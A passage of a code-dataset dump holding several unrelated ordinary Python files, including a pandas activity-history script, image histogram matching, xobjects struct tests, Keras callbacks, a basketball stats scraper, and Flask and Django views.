updates[\"date\"]\n\n # Iterate through the clients and fill forward\n for contact in updates[\"Contact ID\"].unique():\n updates.loc[updates[\"Contact ID\"] == contact, \"update_date\"] =\\\n updates.loc[updates[\"Contact ID\"] == contact, \"update_date\"].fillna(method=\"ffill\")\n\n # Remove activity date marks and the type column\n updates = updates[updates[\"type\"] == \"opp\"].drop(\"type\", axis=1)\n\n # Store key activity dates\n keydates = updates[[\"Contact ID\", \"update_date\"]].drop_duplicates().dropna(axis=0)\n\n # Create placeholder columns in the original\n cols = act.columns.values.tolist()\n cols.remove(\"Contact ID\")\n cols.remove(\"date\")\n extracols = [\"hist_\" + str(i) for i in cols]\n extracols.extend([\"recent_\" + str(i) for i in cols])\n for col in extracols:\n opp[col] = None\n\n # Iterate through the updates to perform\n print(\"Filling in activity history...\")\n for index, row in keydates.iterrows():\n\n # Calculate the values to insert\n hist = act.loc[(act[\"Contact ID\"] == row[\"Contact ID\"]) & (act[\"date\"] <= row[\"update_date\"]), :]\n recent = act.loc[(act[\"Contact ID\"] == row[\"Contact ID\"]) &\n (act[\"date\"] <= row[\"update_date\"]) &\n (act[\"date\"] > row[\"update_date\"] - np.timedelta64(30, \"D\")), :]\n histv = hist.drop([\"Contact ID\", \"date\"], axis=1).sum()\n recentv = recent.drop([\"Contact ID\", \"date\"], axis=1).sum()\n\n # Rename index and append\n histv.index = \"hist_\" + histv.index\n recentv.index = \"recent_\" + recentv.index\n vals = histv.append(recentv)\n\n # Retrieve the dates that we're filling to\n dates = updates[(updates[\"Contact ID\"] == row[\"Contact ID\"]) &\n (updates[\"update_date\"] == row[\"update_date\"])][\"date\"]\n\n # Fill the values\n opp.loc[(opp[\"Contact ID\"] == row[\"Contact ID\"]) &\n (opp[\"date\"].isin(dates)), vals.index.tolist()] = vals.values.tolist()\n\n # Fill remaining activity NaNs with zeroes\n for col in extracols:\n opp[col] = opp[col].fillna(0)\n\n # Save to file\n opp.to_csv(\"../saves/final_format.csv\", index=False)\n\n\ndef format_final():\n\n # Load the data\n act, opp = load_dfs()\n\n # Map the dates we need history for\n map_act_histories(act, opp)\n\n\ndef main():\n format_final()\n\n\nif __name__ == '__main__':\n main()","sub_path":"code/final_format.py","file_name":"final_format.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"325287098","text":"from PIL import Image\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np \r\n\r\ndef histeq(im,nbr_bins=256):\r\n\t\"\"\" Histogram equalization of a grayscale image. \"\"\" \r\n\t# get image histogram\r\n\timhist,bins = np.histogram(im.flatten(), nbr_bins, normed=True)\r\n\tcdf = imhist.cumsum()\r\n\t# cumulative distribution function\r\n\tcdf = 255 * cdf / cdf[-1]\r\n\t# normalize\r\n\t# use linear interpolation of cdf to find new pixel values\r\n\tim2 = np.interp(im.flatten(),bins[:-1],cdf)\r\n\treturn im2.reshape(im.shape), cdf, bins\r\n\r\ndef histreprod(im, g_cdf, bins):\r\n\tres_image = np.interp(im.flatten(), g_cdf, bins[:-1])\r\n\treturn res_image.reshape(im.shape)\r\n\r\ndef getFig():\r\n\t# fig = plt.figure()\r\n\tax = []\r\n\r\n\tax.append(plt.subplot2grid((4,2), (0,0)))\r\n\tax.append(plt.subplot2grid((4,2), (0,1)))\r\n\tax.append(plt.subplot2grid((4,2), (1,0)))\r\n\tax.append(plt.subplot2grid((4,2), (1,1)))\r\n\tax.append(plt.subplot2grid((4,2), (2,0), colspan=2))\r\n\tax.append(plt.subplot2grid((4,2), (3,0)))\r\n\tax.append(plt.subplot2grid((4,2), (3,1)))\r\n\r\n\treturn ax\r\n\r\ndef Task():\r\n\tax = getFig()\r\n\tplt.gray()\r\n\r\n\tsrc_image = Image.open('dolphins.jpg')\r\n\tsrc_image = src_image.convert('L')\r\n\tsrc_image_arr = np.array(src_image)\r\n\r\n\tax[0].axis('off')\r\n\tax[0].imshow(src_image)\r\n\r\n\t# Number of bins\r\n\tbins_cnt = 256\r\n\r\n\t# Getting Random Normal Distribution (m, s, size = N) and plotting it's histogram\r\n\tnormal_distribution = np.random.normal(127, 32, size =30000)\r\n\r\n\tax[4].hist(normal_distribution, bins_cnt)\r\n\t#ax[4].axis('off')\r\n\t#ax[4].set_xlim(0,256)\r\n\r\n\t# Input image histogram\r\n\tax[2].hist(src_image_arr.flatten(), bins_cnt)\r\n\r\n\t# T(x) Transformation - Direct\r\n\tres_uniform, cdf1, bins1 = histeq(src_image_arr, bins_cnt)\r\n\r\n\t# G(y) Transformation - Reverse\r\n\tres_random, cdf2, bins2 = histeq(normal_distribution, bins_cnt)\r\n\r\n\t# Getting result image\r\n\tres_image = histreprod(res_uniform, cdf2, bins2)\r\n\r\n\tres_image_arr = np.array(res_image)\r\n\r\n\t# Plotting transformed output image and it's histogram \r\n\tax[1].axis('off')\r\n\tax[1].imshow(res_image)\r\n\r\n\tax[3].hist(res_image_arr.flatten(), bins_cnt)\r\n\r\n\t# Plotting CDF\r\n\tax[5].plot(cdf1)\r\n\tax[6].plot(cdf2)\r\n\r\n\tplt.savefig('Result_Image.jpg')\r\n\r\n\tplt.show()\r\n\r\nif __name__ == '__main__':\r\n\tTask()","sub_path":"Lecture3_Task.py","file_name":"Lecture3_Task.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"351644074","text":"\n\n#calss header\nclass _EXONERATE():\n\tdef __init__(self,): \n\t\tself.name = \"EXONERATE\"\n\t\tself.definitions = [u'to show or state that someone or something is not guilty of something: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_exonerate.py","file_name":"_exonerate.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"17179269","text":"import xobjects as xo\n\nfrom xobjects.typeutils import Info\n\n\ndef test_static_struct_def():\n class StructA(xo.Struct):\n a = xo.Float64\n b = xo.Int8\n c = xo.Int64\n\n assert StructA._size is not None\n\n assert StructA.a.index == 0\n assert StructA.b.index == 1\n assert StructA.c.index == 2\n\n\ndef test_static_struct():\n class StructA(xo.Struct):\n a = xo.Field(xo.Float64, default=3.5)\n b = xo.Int8\n c = xo.Field(xo.Int64)\n\n assert StructA.a.index == 0\n\n assert StructA.a.index == 0\n assert StructA.b.index == 1\n assert StructA.c.index == 2\n\n for ctx in xo.context.get_test_contexts():\n print(f\"Test {ctx}\")\n\n s = StructA(_context=xo.ContextCpu())\n\n assert s._size is not None\n assert s.a == 3.5\n assert s.b == 0\n assert s.c == 0.0\n\n s.a = 5.2\n assert s.a == 5.2\n s.c = 7\n assert s.c == 7\n s.b = -4\n\n\ndef test_nested_struct():\n class StructB(xo.Struct):\n a = xo.Field(xo.Float64, default=3.5)\n b = xo.Field(xo.Int64, default=-4)\n c = xo.Int8\n\n class StructC(xo.Struct):\n a = xo.Field(xo.Float64, default=3.6)\n b = xo.Field(StructB)\n c = xo.Field(xo.Int8, default=-1)\n\n assert StructB._size is not None\n assert StructC._size is not None\n\n for ctx in xo.context.get_test_contexts():\n print(f\"Test {ctx}\")\n\n b = StructC(_context=ctx)\n\n assert b._size is not None\n assert b.a == 3.6\n assert b.b.a == 3.5\n assert b.b.c == 0\n\n\ndef test_dynamic_struct():\n class StructD(xo.Struct):\n a = xo.Field(xo.Float64, default=3.5)\n b = xo.Field(xo.String, default=10)\n c = xo.Field(xo.Int8, default=-1)\n\n assert StructD._size is None\n\n for ctx in xo.context.get_test_contexts():\n print(f\"Test {ctx}\")\n\n d = StructD(b=\"this is a test\", _context=ctx)\n assert d._size is not None\n assert d.a == 3.5\n assert d.b == \"this is a test\"\n assert d.c == -1\n\n\ndef test_dynamic_nested_struct():\n class StructE(xo.Struct):\n a = xo.Field(xo.Float64, default=3.5)\n b = xo.Field(xo.String, default=10)\n c = xo.Field(xo.Int8, default=-1)\n\n info = StructE._inspect_args(b=\"this is a test\")\n assert info.size == 48\n assert info._offsets == {1: 24}\n\n class StructF(xo.Struct):\n e = xo.Field(xo.Float64, default=3.5)\n f = xo.Field(xo.Float64, default=1.5)\n g = xo.Field(StructE)\n h = xo.Field(xo.Int8, default=-1)\n\n assert StructE._size is None\n assert StructF._size is None\n\n info = StructF._inspect_args(g={\"b\": \"this is a test\"})\n assert info.size == 80\n assert info._offsets == {2: 32}\n\n for ctx in xo.context.get_test_contexts():\n print(f\"Test {ctx}\")\n\n s = StructF(g={\"b\": \"this is a test\"}, _context=ctx)\n assert s._size is not None\n assert s.e == 3.5\n assert s.f == 1.5\n assert s.g.b == \"this is a test\"\n\n\ndef test_assign_full_struct():\n class StructE(xo.Struct):\n a = xo.Field(xo.Float64, default=3.5)\n b = xo.Field(xo.String, default=10)\n c = xo.Field(xo.Int8, default=-1)\n\n class StructF(xo.Struct):\n e = xo.Field(xo.Float64, default=3.5)\n f = xo.Field(xo.Float64, default=1.5)\n g = xo.Field(StructE)\n h = xo.Field(xo.Int8, default=-1)\n\n assert StructE._size is None\n assert StructF._size is None\n\n for ctx in xo.context.get_test_contexts():\n print(f\"Test {ctx}\")\n\n s = StructF(g={\"b\": \"this is a test\"}, _context=ctx)\n assert s._size is not None\n assert s.e == 3.5\n assert s.f == 1.5\n assert s.g.b == \"this is a test\"\n\n e = StructE(b=\"hello\")\n s.g = e\n # assert f.h==-1\n\n\ndef test_preinit():\n\n import numpy as np\n\n class Rotation(xo.Struct):\n cx = xo.Float64\n sx = xo.Float64\n\n @classmethod\n def _pre_init(cls, angle=0, **kwargs):\n rad = np.deg2rad(angle)\n kwargs[\"cx\"] = np.cos(rad)\n kwargs[\"sx\"] = np.sin(rad)\n return (), kwargs\n\n def _post_init(self):\n assert self.cx ** 2 + self.sx ** 2 == 1\n\n def myprint(self):\n return self.cx, self.sx\n\n rot = Rotation(angle=90)\n\n assert rot.sx == 1.0\n\n\ndef test_init_from_xobj():\n class StructA(xo.Struct):\n a = xo.Float64\n b = xo.Float64\n\n s1 = StructA(a=1.3, b=2.4)\n s2 = StructA(s1)\n s3 = StructA(s1, _buffer=s1._buffer)\n\n assert s2.a == s1.a\n assert s3.b == s1.b\n","sub_path":"tests/test_struct.py","file_name":"test_struct.py","file_ext":"py","file_size_in_byte":4595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"294927755","text":"from keras.callbacks import ModelCheckpoint, ReduceLROnPlateau, EarlyStopping, TensorBoard\r\n\r\n\r\ndef get_callbacks(model_name):\r\n # reduces learning rate on plateau\r\n lr_reducer = ReduceLROnPlateau(factor=0.2,\r\n cooldown= 10,\r\n patience=5,\r\n verbose =1,\r\n min_lr=0.1e-6)\r\n mode_autosave = ModelCheckpoint(\"./weights/\"+model_name+\".h5\", monitor='val_iou_score',\r\n mode = 'max', save_best_only=True, verbose=1, period =1)\r\n\r\n # stop learining as metric on validatopn stop increasing\r\n early_stopping = EarlyStopping(patience=20, verbose=1, mode = 'auto') \r\n\r\n # tensorboard for monitoring logs\r\n tensorboard = TensorBoard(log_dir='./logs/tenboard', histogram_freq=0,\r\n write_graph=True, write_images=False)\r\n\r\n callbacks = [mode_autosave, lr_reducer, tensorboard, early_stopping]\r\n\r\n return callbacks","sub_path":"callback.py","file_name":"callback.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"563172807","text":"'''\n Python Objected-Oriented Programming 2 - Class Variable\n# Script name: employee3.py\n\nNote: This case show why it doesn't make sense to use \"self\"\nSay we want to keep track the number of employee.\n\n'''\nclass Employee:\n num_of_emps = 0\n raise_amount = 1.04\n\n # 1. We can think this is a construtor\n # 2. By convention, we call this the instance \"self\" for now\n # and you can call it whatever you want, but we stick with \"self\"\n\n def __init__(self, first, last, pay):\n self.first = first\n self.last = last\n self.pay = pay\n self.email = first + \".\" + last + '@company.com'\n\n Employee.num_of_emps += 1 # Employee.num_of_emps = Employee.num_of_emps + 1\n\n def fullname(self):\n #def fullname():\n return '{} {} {}'.format(self.first, self.last, self.pay)\n\n def apply_raise(self):\n # self.pay = int(self.pay * Employee.raise_amount)\n\n # 2. Access through instance variable\n self.pay = int(self.pay * self.raise_amount)\n\n# empl_1 will be passed in as self and then it will set all of those attributes\nprint(Employee.num_of_emps)\n\nemp_1 = Employee('Andrew', 'Zhang', 50000)\nemp_2 = Employee('Test', 'User', 60000)\nemp_3 = Employee('Test3', 'User', 60000)\nemp_4 = Employee('Eric', 'Smith', 60000)\n\nprint(emp_1.num_of_emps)\nprint(Employee.num_of_emps)\nprint(emp_2.num_of_emps)\nprint(emp_3.num_of_emps)","sub_path":"python/CACC_2019/week13-OOP2_Class-Variable/employee3.py","file_name":"employee3.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"517515206","text":"from datetime import date\nimport logging\n\nfrom django.views.generic.base import TemplateView\nfrom requests import HTTPError\n\nfrom regulations.generator import api_reader\nfrom .utils import get_structure\n\n\nlogger = logging.getLogger(__name__)\n\nclient = api_reader.ApiReader()\n\n\nclass HomepageView(TemplateView):\n\n template_name = 'regulations/homepage.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n\n c = {}\n try:\n today = date.today()\n parts = client.effective_parts(today)\n if not parts:\n return context\n full_structure = get_structure(parts)\n\n c = {\n 'structure': full_structure,\n 'regulations': parts,\n 'cfr_title_text': parts[0]['structure']['label_description'],\n 'cfr_title_number': parts[0]['structure']['identifier'],\n }\n except HTTPError:\n logger.warning(\"NOTE: eRegs homepage loaded without any stored regulations.\")\n\n return {**context, **c}\n","sub_path":"regulations/views/homepage.py","file_name":"homepage.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"407452958","text":"import json\nimport threading\nimport traceback\nfrom orm_connection.orm_session import MysqlSvr\nfrom orm_connection.orm_tableStruct_basketball import BleagueNblBasketballPlayer\nfrom apps.NBL.nbl_tools import translate\nfrom apps.NBL.tools import *\nfrom apps.send_error_msg import dingding_alter\nfrom common.libs.log import LogMgr\n\nlogger = LogMgr.get('nbl_basketball_pbp_box_live')\n\n\nclass pbp_box(object):\n def __init__(self):\n self.team_id_get = get_team_id()\n self.get_match_id_start = get_match_id_start()\n self.get_player_id = get_player_id()\n\n def pbp_box_live(self, data_queue, match_id):\n while True:\n try:\n headers = {\n 'user_agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36',\n }\n url = 'https://www.fibalivestats.com/data/%s/data.json' % str(match_id)\n logger.info(url)\n pbp_res = requests.get(url, headers=headers)\n if pbp_res.status_code != 200:\n logger.info('比赛未开赛.... %s' % str(match_id))\n time.sleep(10)\n else:\n pbp_dict = json.loads(pbp_res.text)\n if pbp_dict['inOT'] == 0:\n period_total = pbp_dict['period']\n else:\n period_total = pbp_dict['period'] + 4\n player_stats_list = []\n team_stats_list = []\n playbyplay_list = []\n actionNumber_shot_dict = {}\n keys = pbp_dict['tm'].keys()\n for key in keys:\n try:\n BkMatchTeamStats = {}\n BkMatchTeamStats['belong'] = int(key)\n BkMatchTeamStats['team_id'] = self.team_id_get[str(pbp_dict['tm'][key]['name'])]\n BkMatchTeamStats['team_name'] = pbp_dict['tm'][key]['name']\n BkMatchTeamStats['goals'] = int(safe_get(pbp_dict,'tm.%s.tot_sFieldGoalsMade' % key))\n BkMatchTeamStats['field'] = int(safe_get(pbp_dict,'tm.%s.tot_sFieldGoalsAttempted' % key))\n BkMatchTeamStats['two_points_goals'] = int(safe_get(pbp_dict,'tm.%s.tot_sTwoPointersMade' % key))\n BkMatchTeamStats['two_points_total'] = int(safe_get(pbp_dict,'tm.%s.tot_sTwoPointersAttempted' % key))\n BkMatchTeamStats['three_point_goals'] = int(safe_get(pbp_dict,'tm.%s.tot_sThreePointersMade' % key))\n BkMatchTeamStats['three_point_field'] = int(safe_get(pbp_dict,'tm.%s.tot_sThreePointersAttempted' % key))\n BkMatchTeamStats['free_throw_goals'] = int(safe_get(pbp_dict,'tm.%s.tot_sFreeThrowsMade' % key))\n BkMatchTeamStats['free_throw_field'] = int(safe_get(pbp_dict,'tm.%s.tot_sFreeThrowsAttempted' % key))\n BkMatchTeamStats['offensive_rebounds'] = int(safe_get(pbp_dict,'tm.%s.tot_sReboundsOffensive' % key))\n BkMatchTeamStats['defensive_rebounds'] = int(safe_get(pbp_dict,'tm.%s.tot_sReboundsDefensive' % key))\n BkMatchTeamStats['rebounds'] = int(safe_get(pbp_dict,'tm.%s.tot_sReboundsTotal' % key))\n BkMatchTeamStats['assists'] = int(safe_get(pbp_dict,'tm.%s.tot_sAssists' % key))\n BkMatchTeamStats['steals'] = int(safe_get(pbp_dict,'tm.%s.tot_sSteals' % key))\n BkMatchTeamStats['blocks'] = int(safe_get(pbp_dict,'tm.%s.tot_sBlocks' % key))\n BkMatchTeamStats['turnovers'] = int(safe_get(pbp_dict,'tm.%s.tot_sTurnovers' % key))\n BkMatchTeamStats['personal_fouls'] = int(safe_get(pbp_dict,'tm.%s.tot_sFoulsPersonal' % key))\n BkMatchTeamStats['point'] = int(safe_get(pbp_dict,'tm.%s.tot_sPoints' % key))\n team_stats_list.append(BkMatchTeamStats)\n player_keys = pbp_dict['tm'][key]['pl'].keys()\n for player_key in player_keys:\n player = {}\n player['belong'] = int(key)\n player_name = pbp_dict['tm'][key]['pl'][player_key]['internationalFirstName'] + ' ' + \\\n pbp_dict['tm'][key]['pl'][player_key]['internationalFamilyName']\n if player_name.lower() in self.get_player_id.keys():\n player['player_id'] = int(self.get_player_id[player_name.lower()])\n else:\n player_upsert = {}\n player_upsert['name_en'] = player_name\n try:\n player_upsert['logo'] = pbp_dict['tm'][key]['pl'][player_key]['photoS']\n except:\n player_upsert['logo'] = ''\n player_upsert['shirt_number'] = pbp_dict['tm'][key]['pl'][player_key]['shirtNumber']\n player_upsert['position'] = pbp_dict['tm'][key]['pl'][player_key]['playingPosition']\n player_upsert['short_name_en'] = pbp_dict['tm'][key]['pl'][player_key]['name']\n player['player_id'] = get_player_id_upsert(player_upsert)\n player['player_name'] = player_name\n try:\n minutes = pbp_dict['tm'][key]['pl'][player_key]['sMinutes']\n minute = minutes.split(':')[0]\n second = minutes.split(':')[1]\n except:\n minutes = '0:00'\n minute = 0\n second = 0\n if int(second) >= 30:\n player['minutes'] = int(minute) + 1\n else:\n player['minutes'] = int(minute)\n player['goals'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sFieldGoalsMade' % (key,player_key)))\n player['field'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sFieldGoalsAttempted' % (key,player_key)))\n player['two_points_goals'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sTwoPointersMade' % (key,player_key)))\n player['two_points_total'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sTwoPointersAttempted' % (key,player_key)))\n player['three_point_goals'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sThreePointersMade' % (key,player_key)))\n player['three_point_field'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sThreePointersAttempted' % (key,player_key)))\n player['free_throw_goals'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sFreeThrowsMade' % (key,player_key)))\n player['free_throw_field'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sFreeThrowsAttempted' % (key,player_key)))\n player['offensive_rebounds'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sReboundsOffensive' % (key,player_key)))\n player['defensive_rebounds'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sReboundsDefensive' % (key,player_key)))\n player['rebounds'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sReboundsTotal' % (key,player_key)))\n player['assists'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sAssists' % (key,player_key)))\n player['steals'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sSteals' % (key,player_key)))\n player['blocks'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sBlocks' % (key,player_key)))\n player['turnovers'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sTurnovers' % (key,player_key)))\n player['personal_fouls'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sFoulsPersonal' % (key,player_key)))\n player['point'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.sPoints' % (key,player_key)))\n player['first_publish'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.starter' % (key,player_key)))\n player['shirt_number'] = int(safe_get(pbp_dict,'tm.%s.pl.%s.shirtNumber' % (key,player_key)))\n if minutes == '0:00':\n player['enter_ground'] = 0\n elif minutes != '0:00':\n player['enter_ground'] = 1\n else:\n player['enter_ground'] = 0\n if int(pbp_dict['tm'][key]['pl'][player_key]['active']) == 0:\n player['on_ground'] = 1\n else:\n player['on_ground'] = 0\n player_stats_list.append(player)\n except:\n logger.error(traceback.format_exc())\n try:\n for pbp_shot in pbp_dict['tm'][key]['shot']:\n shot_location = (pbp_shot['y'], pbp_shot['x'])\n actionNumber_shot_dict[pbp_shot['actionNumber']] = shot_location\n except:\n actionNumber_shot_dict = {}\n for pbp_info in pbp_dict['pbp'][::-1]:\n if 'OVERTIME' in pbp_info['periodType']:\n period = pbp_info['period'] + 4\n else:\n period = pbp_info['period']\n type = 0\n home_score = pbp_info['s1']\n away_score = pbp_info['s2']\n belong = pbp_info['tno']\n actionNumber = pbp_info['actionNumber']\n try:\n if round(actionNumber_shot_dict[actionNumber][1]) < 50:\n location_y = (round(actionNumber_shot_dict[actionNumber][1]) * 0.01 * 70)\n else:\n location_y = (abs(round(actionNumber_shot_dict[actionNumber][1]) - 100) * 0.01 * 70)\n location_x = (round(actionNumber_shot_dict[actionNumber][0]) * 0.01 * 50) - 1\n except:\n location_x = 0\n location_y = 0\n try:\n player_name = pbp_info['firstName'] + ' ' + pbp_info['familyName']\n except:\n player_name = ''\n try:\n player_ids = int(self.get_player_id[player_name.lower()])\n except:\n player_ids = 0\n period_time = pbp_info['gt']\n if player_name:\n if 'jumpball' in pbp_info['actionType']:\n shooting_play = 0\n score_value = 0\n scoring_play = 0\n word_text = pbp_info['firstName'] + ' ' + pbp_info['familyName'] + ',' + pbp_info[\n 'actionType'] + ' - ' + pbp_info['subType']\n else:\n if pbp_info['scoring'] == 0:\n shooting_play = pbp_info['scoring']\n score_value = 0\n scoring_play = 0\n word_text = pbp_info['firstName'] + ' ' + pbp_info['familyName'] + ',' + pbp_info[\n 'actionType'] + ' ' + pbp_info['subType']\n elif pbp_info['scoring'] == 1:\n if pbp_info['success'] == 0:\n shooting_play = pbp_info['scoring']\n score_value = 0\n scoring_play = 0\n word_text = pbp_info['firstName'] + ' ' + pbp_info['familyName'] + ',' + \\\n pbp_info[\n 'actionType'] + ' ' + pbp_info['subType'] + ' ' + 'missed'\n elif pbp_info['success'] == 1:\n shooting_play = pbp_info['scoring']\n if 'f' not in pbp_info['actionType'][0]:\n score_value = pbp_info['actionType'][0]\n else:\n score_value = 0\n scoring_play = 1\n if pbp_info['lead'] > 0 and pbp_info['tno'] == 1:\n word_text = pbp_info['firstName'] + ' ' + pbp_info['familyName'] + ',' + \\\n pbp_info['actionType'] + ' ' + pbp_info['subType']\n elif pbp_info['lead'] > 0 and pbp_info['tno'] == 2:\n word_text = pbp_info['firstName'] + ' ' + pbp_info['familyName'] + ',' + \\\n pbp_info['actionType'] + ' ' + pbp_info['subType']\n elif pbp_info['lead'] < 0 and pbp_info['tno'] == 1:\n word_text = pbp_info['firstName'] + ' ' + pbp_info['familyName'] + ',' + \\\n pbp_info['actionType'] + ' ' + pbp_info['subType']\n elif pbp_info['lead'] < 0 and pbp_info['tno'] == 2:\n word_text = pbp_info['firstName'] + ' ' + pbp_info['familyName'] + ',' + \\\n pbp_info['actionType'] + ' ' + pbp_info['subType']\n else:\n word_text = pbp_info['firstName'] + ' ' + pbp_info['familyName'] + ',' + \\\n pbp_info['actionType'] + ' ' + pbp_info['subType']\n else:\n shooting_play = 0\n score_value = 0\n scoring_play = 0\n word_text = ''\n else:\n shooting_play = 0\n score_value = 0\n scoring_play = 0\n word_text = ''\n else:\n shooting_play = 0\n score_value = 0\n scoring_play = 0\n word_text = pbp_info['actionType'] + ' ' + pbp_info['subType']\n word_text_zh = translate(word_text)\n data = {\n 'id': int(match_id),\n 'text': word_text_zh,\n 'period': int(period),\n 'type': int(type),\n 'home_score': int(home_score),\n 'away_score': int(away_score),\n 'belong': int(belong),\n 'player_name': player_name,\n 'player_ids': [player_ids],\n 'period_time': str(period_time),\n 'shooting_play': int(shooting_play),\n 'score_value': int(score_value),\n 'scoring_play': int(scoring_play),\n 'text_en': word_text,\n 'location_x': int(location_x),\n 'location_y': int(location_y),\n }\n playbyplay_list.append(data)\n match_data_boxscore = {'match': {'id': int(match_id),\n 'basketball_items': {\n 'player_stat': {\n 'items': player_stats_list},\n 'team_stat': {'items': team_stats_list}\n }}}\n data_queue.put(match_data_boxscore)\n logger.info('球员技术统计推送完成... %s' % str(match_id))\n match_data_playbyplay = {'match': {'id': int(match_id),\n 'basketball_items': {\n 'incident': {\n 'period': period_total,\n 'items': playbyplay_list}\n }}}\n data_queue.put(match_data_playbyplay)\n logger.info('球员技术文字直播推送完成... %s' % str(match_id))\n try:\n if playbyplay_list[-1]['text'] == '比赛结束':\n break\n else:\n time.sleep(3)\n logger.info('休息3s再次请求....')\n except:\n time.sleep(3)\n logger.info('未找到赛节状态。。。')\n except:\n dingding_alter(traceback.format_exc())\n logger.error(traceback.format_exc())\n continue\n\n def get_match_id(self, data_queue):\n try:\n for key, value in self.get_match_id_start.items():\n threading.Thread(target=pbp_box().pbp_box_live, args=(data_queue, value)).start()\n except:\n dingding_alter(traceback.format_exc())\n logger.error(traceback.format_exc())\n","sub_path":"apps/NBL/nbl_playbyplay.py","file_name":"nbl_playbyplay.py","file_ext":"py","file_size_in_byte":19109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"79740383","text":"#!/usr/bin/python3\n\"\"\" Review module \"\"\"\nfrom models import storage\nfrom api.v1.views import app_views, State, City, Place, User, Review\nfrom flask import jsonify, request, abort, make_response\n\n\n@app_views.route('/places//reviews', methods=['GET'],\n strict_slashes=False)\ndef get_review_by_place(place_id=None):\n \"\"\" Return all places in a city \"\"\"\n place = storage.get(Place, place_id)\n if place:\n return jsonify([v.to_dict() for v in place.reviews]), 200\n return abort(404)\n\n\n@app_views.route('/reviews/', methods=['GET'], strict_slashes=False)\ndef get_review_by_id(review_id=None):\n \"\"\" Return a review by id \"\"\"\n review = storage.get(Review, review_id)\n if review:\n return jsonify(review.to_dict())\n return abort(404)\n\n\n@app_views.route('/reviews/', methods=['DELETE'],\n strict_slashes=False)\ndef del_review_by_id(review_id=None):\n \"\"\" Delete a review by id \"\"\"\n review = storage.get(Review, review_id)\n if review:\n storage.delete(review)\n storage.save()\n return make_response(jsonify({}), 200)\n return abort(404)\n\n\n@app_views.route('/places//reviews', methods=['POST'],\n strict_slashes=False)\ndef post_review(place_id=None):\n \"\"\" Post a review in a place with an id \"\"\"\n body = request.get_json(silent=True)\n if not body:\n return make_response(jsonify({'error': 'Not a JSON'}), 400)\n if 'user_id' not in body:\n return make_response(jsonify({'error': 'Missing user_id'}), 400)\n if 'text' not in body:\n return make_response(jsonify({'error': 'Missing text'}), 400)\n place = storage.get(Place, place_id)\n user = storage.get(User, body['user_id'])\n if place and user:\n new_review = Review(**body)\n new_review.place_id = place.id\n storage.new(new_review)\n storage.save()\n return make_response(jsonify(new_review.to_dict()), 201)\n return abort(404)\n\n\n@app_views.route('/reviews/', methods=['PUT'], strict_slashes=False)\ndef put_review_in_review_by_id(review_id=None):\n \"\"\" Put update review in a review by id \"\"\"\n body = request.get_json(silent=True)\n if not body:\n return make_response(jsonify({'error': 'Not a JSON'}), 400)\n\n review = storage.get(Review, review_id)\n if review:\n for k, v in body.items():\n if k != 'id' and k != 'created_at' and k != 'updated_at'\\\n and k != 'user_id' and k != 'city_id':\n setattr(review, k, v)\n storage.save()\n return make_response(jsonify(review.to_dict()), 200)\n else:\n abort(404)\n","sub_path":"api/v1/views/places_reviews.py","file_name":"places_reviews.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"626382437","text":"from django.views.generic import ListView, CreateView\nfrom django.core.urlresolvers import reverse\nfrom Indigo7.views import LoginRequiredMixin, SimpleViewCreateView, SimpleViewDeleteView, SimpleViewUpdateView\nfrom django.views.generic.detail import SingleObjectMixin\nfrom Processor.models import WorkflowHead, WorkflowItem\nfrom django.shortcuts import get_object_or_404\nfrom django.views.generic.edit import ModelFormMixin\nimport datetime\n\nclass WorkflowDetailBaseView(object):\n\n def dispatch(self, *args, **kwargs):\n self.workflowhead = get_object_or_404(WorkflowHead, pk=kwargs['head_id'])\n return super(WorkflowDetailBaseView, self).dispatch(*args, **kwargs) \n\n def get_context_data(self, *args, **kwargs):\n context_data = super(WorkflowDetailBaseView, self).get_context_data(*args,**kwargs)\n context_data.update({'head_id': self.kwargs.get('head_id')})\t\n return context_data \n\n def form_valid(self, form):\t\n self.object = form.save(commit=False)\n self.object.set_user_data(\n 